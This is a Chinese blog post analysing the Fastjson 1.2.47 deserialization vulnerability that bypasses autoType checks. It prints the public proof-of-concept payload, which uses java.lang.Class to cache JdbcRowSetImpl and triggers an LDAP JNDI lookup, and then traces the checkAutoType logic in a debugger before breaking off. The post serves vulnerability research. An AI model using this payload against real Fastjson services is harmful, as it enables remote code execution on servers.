fastjson string转对象 科学计数法_Fastjson历史漏洞研究(二)

本文深入分析了Fastjson 1.2.47版本的一个安全漏洞,涉及""a"":{""@type"":""java.lang.Class
摘要由CSDN通过智能技术生成

cd4070cb8d611da6eb380a9d4dba79c7.png

0x00 前言


本文衔接上一篇文章《FastJson历史漏洞研究(一)》,继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

0x01 Fastjson 1.2.47漏洞分析


Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行

首先来看一下公开的poc

public class demo {
        public static void main(String[] args) {
            String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +                "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";        Object obj = JSON.parseObject(payload);        System.out.println(obj);    }}
从代码中可见,与以往利用不同的是,该poc中构造了两个json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

为了弄清楚这样构造的意义,我们来动态调试一下这个漏洞

程序首先解析第一个json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析过程

我们跳过部分FastJson解析流程,直接来看checkAutoType安全模块时的操作。对这个字符串中\@type字段进行校验

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模块中,程序首先进入了这个分支,程序调用getClassFromMapping对typeName进行解析,typeName即为字符串中@type的值,在第一个json字符串中,这个值为"java.lang.Class"

c6039e546474f5e5c245acaf2b802ad6.png

我们跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping

afb216c026f60dde779a949facb78653.png

从上图代码可见,程序想从mappings中寻找键名为”java.lang.Class”的元素并返回对应的键值。值得一提的是,mappings集合与后文将要讲到的buckets集合对这个漏洞至关重要,这二者是这个漏洞产生的核心因素

  • mappings集合

mappings中存储的数据都是什么呢?经过调试可以发现其中数据形式如下图中所展示

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值